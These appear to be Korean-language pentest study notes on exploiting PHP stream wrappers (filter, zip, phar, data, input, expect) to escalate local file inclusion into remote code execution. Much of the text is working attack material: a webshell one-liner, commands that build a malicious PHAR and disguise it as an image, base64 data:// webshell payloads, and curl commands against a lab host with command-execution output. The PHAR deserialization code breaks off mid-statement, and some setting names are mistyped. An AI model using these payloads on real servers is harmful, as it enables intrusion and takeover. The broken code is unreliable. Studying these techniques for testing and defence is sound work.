PHP Wrapper

개념

  • 파일처럼 보이지만, 실제로는 다른 방식(네트워크, 압축, 메모리 등)으로 데이터를 읽게 해주는 인터페이스
  • PHP의 include(), file_get_contents()같은 함수는 스트림 을 읽는다

중요

  • php://filter/resource:
    • php wrapper를 사용하지 않은것과 결과 동일.
    • 필터는 썼지만, 아무런 변화를 주지 않고 출력한 상태
    • RCE가 일어날 수 있음
    • 대신 소스코드 확인 불가
  • php://filter/convert.base64-encode/resource:
    • 대상 파일을 b64로 인코딩해서 읽고 문자열을 그대로 출력
    • RCE는 일어나지 않음
    • 대신 소스코드 확인 가능

예제 index.php

<?php 
$file = $_GET['file']; 
if(isset($file)) 
{ 
	include("$file".".php"); 
}
else 
{ 
	include("home.php"); 
} 
?>
  • index.php?file=index의 경우:
    • include(“index.php”);로 실행됨
    • index.php를 일반 파일 스트림으로 읽음 index.php를 실행하고 결과를 반환함
    • ?file=php://filter/resource=index와 동일
  • index.php?file=php://filter/convert.base64-encode/resource=index 의 경우:
    • php://filter는 파일을 변형해서 읽는 스트림이다
    • convert.base64-encode로 인해 base64 인코딩이 된다
    • 결과적으로, index.php를 base64로 인코딩해서 문자열로 출력한다 내부 코드는 실행되지 않고 소스코드가 유출되는 효과

Zip Wrapper

  • Zip Wrapper로, zipfile을 스트림으로 읽음.
  • #와 결합하여 압축 파일 내부의 파일을 지정해서 include 할 수 있다. (URL로 사용되는 경우 %23으로 인코딩)
zip://zipfile.zip#malicious.php
  • zipfile.zip 안에 있는 malicious.php를 찾아서, 읽음.
  • include와 결합되면, malicious.php가 실제로 실행됨
  • include("zip://zipfile.zip#malicious.php") : malicious.php를 실행

zip 파일 확장자는 검사하되, .gif등은 허용되는 시나리오:

# gif 확장자로 zip압축 후 업로드
$zip shell.gif shell.php
 
'index.php?file=zip://shell.gif#shell.php&cmd=id'
  • 단순 확장자 검사를 우회하며, zip wrapper로 스크립트 로드

PHAR

  • PHAR = PHP Archive
  • .zip처럼 파일도 묶으면서 동시에 PHP가 직접 실행/처리할 수 있는 구조를 가진 파일. zip과 비슷하게 내부 파일 접근 가능함
  • phar은, 원격 파일엔 동작 안하므로 업로드 필요하며 확장자 독립적이라, .jpg / .zip등으로 위장이 가능하다.
  • PHP < 8.0에서는 PHAR 파일을 읽기만 해도 내부 메타데이터가 역직렬화되면서 RCE가 가능했다
  • zip:// 래퍼는 #기호를 사용해 내부 파일에 접근하며, ㅔphar://래퍼는 /로 접근하는 구문의 중요한 차이가 있음
Wrapper파일 접근URL Encodeexample
zip://#%23zip://archive.zip#file.text
phar:///%2Fphar://archive.phar/file.text

예시:

테스트 파일 생성
echo '<?php phpinfo(); ?>' > info.php
zip info.zip info.php
 
이후 info.zip파일을 업로드했다고 가정.
 
http://site.com/?page=phar://uploads/info.zip/info.php
http://site.com/?page=phar://uploads/info.zip/info
=> phpinfo 실행(.php를 붙이는 것은 사이트의 동작에 따라 다름)

Malicious PHAR (include phar)

  • 메타데이터 역직렬화와는 다른 일반적 케이스
  • shell.phpshell.phar로 컴파일
$cat shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
 
$phar->stopBuffering();
 
# shell.phar 생성
$php --define phar.readonly=0 shell.php
 
# 필요한 경우 확장자 변경
$mv shell.phar shell.jpg
 
# 트리거
phar://uploads/shell.jpg/shell.txt&cmd=id
=> %2F는 / URL Encode
=> addFromString에서 shell.txt로 저장했으므로, phar내에서도 shell.txt로 호출

Malicious PHAR #2 (Deserialize RCE, php < 8.0)

  • PHP < 8.0에서 phar의 메타데이터를 자동으로 역직렬화하며 발생하는 RCE 취약점
  • 백엔드에서 include하지 않고, file_get_contents()등으로 파일을 읽는 함수에서도 RCE가 터질 수 있다. 전제 조건
  1. 서버에 __destruct(), __wakup(), __toString()과 같은 매직 메소드를 가진 클래스가 최소한 하나는 존재해야 한다.(공격자는 주로 소스코드 검증으로 이를 확인한다)
  2. PHP의 버전이 8.0 미만이다
  3. 서버에 phar 파일 직접 업로드가 가능해야한다. (확장자는 상관없음. RFI가 안될 뿐)
  4. phar:// 스킴을 사용할 엔드포인트가 존재해야 한다.
// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
 
// add object of any class as meta data
clasㅔ
# add Magic Bytes
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

PHAR를 파싱하는 과정에서 RCE가 일어날 수 있는 대표 함수들

  • PHP Version < 8.0
file_exists()
is_file()
fopen()
file_get_contents()
getimagesize()
exif_read_data()

RCE Wrapper (Data, Input, Expect)

Data Wrapper

  • allow_url_include = On으로 설정되어 있는 경우, data래퍼를 통한 RCE가 가능할 수 있다.
  • php 웹쉘 코드를 base64로 인코딩 후 data://text/plain;base64,<PAYLOAD>형태로 사용한다

allow_url_include / expect 설정 확인:

Apache2: /etc/php/A.B/apache2/php.ini
Nginx: /etc/php/A.B/fpm/php.ini
=> A.B는 PHP 버전 (5.5, 7.4 등...)
 
example: 
/etc/php/7.4/fpm/php.ini
/etc/php/5.5/apache2/php.ini
 
$ curl -s http://10.10.10.10:80/index.php?language=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini
-> Base64 인코딩된 부분(php.ini)만 디코딩하여 설정값 확인
-> grep [allow_url_encode, expect]

페이로드 base64 인코딩:

$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

최종 페이로드 (base64 URL 인코딩):

index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'

Input Wrapper

  • Data 래퍼와 유사하나, POST로 데이터를 전달해야함.
  • 웹페이지에서 POST를 받지 않으면 사용 불가
  • Data 래퍼와 동일하게 allow_url_include = On 설정 필요

예시:

$curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://10.10.10.10:80/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Expect Wrapper

  • php 서버 설정 extension=expect 필요

예시:

$curl -s "http://10.10.10.10:80/index.php?language=expect://id" | grep uid